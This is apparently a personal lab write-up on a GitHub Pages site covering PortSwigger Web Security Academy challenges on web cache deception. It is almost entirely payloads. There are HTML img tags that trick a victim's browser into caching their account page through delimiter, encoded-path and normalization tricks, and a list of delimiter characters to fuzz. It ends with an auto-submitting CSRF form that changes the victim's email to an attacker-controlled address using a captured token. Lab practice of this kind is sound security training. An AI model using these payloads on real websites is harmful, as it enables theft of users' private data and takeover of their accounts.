rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Web Cache Deception



Challenge-: Exploiting path mapping for web cache deception


image

image

<! doctype html>
<html>
<img src="https://0ab1008c04140d638237339a00f200c8.web-security-academy.net/my-account/index.css?cache=busted" width="0" height="0" />
</html>

image


Delimeter Discrepancies


Chall 2-: Exploiting path delimiters for web cache deception


/my-account;index.ico?x=y
<! doctype html>
<html>
<img src="https://0ab0003103cea50c82e1b5cb006700ed.web-security-academy.net/my-account;index.ico?fooz=bar" width="0" height="0" />
</html>

image


Delimeter Decoding Discrepancies



Exploiting static directory cache rules



Challenge: Exploiting origin server normalization for web cache deception


/resources/..%2fmy-account
<! doctype html>
<html>
<img src="https://0a3d005204fb5c738344fc6f003b00b2.web-security-academy.net/resources/..%2fmy-account?foo=bar" width="0" height="0" />
</html>

image


Exploiting normalization by the cache server


/<dynamic-path>%2f%2e%2e%2f<static-directory-prefix>

Challenge-: Exploiting cache server normalization for web cache deception


/my-account%23%2f%2e%2e%2fresources?x=y
<! doctype html>
<html>
<img src="https://0a0b00bb037199bf8098120f00cc00fa.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?foo=y" width="0" height="0" />
</html>

image


Exploiting file name cache rules



Challenge-: Exploiting exact-match cache rules for web cache deception


!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7E
/my-account;%2f%2e%2e%2fresources%2f%2e%2e%2frobots.txt
<! doctype html>
<html>
<img src="https://0acc00430356efd28006038d00d9002c.web-security-academy.net/my-account;%2f%2e%2e%2fresources%2f%2e%2e%2frobots.txt?cache=buster" width="0" height="0" />
</html>
<html>
  <body>
    <form action="https://0acc00430356efd28006038d00d9002c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker-controlled@email.com">
      <input type="hidden" name="csrf" value="JxVei2N6sWi4VwvX1p7dVyqbxA2TDFPj">
    </form>
    
    <script>
      // Automatically submits the form as soon as the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>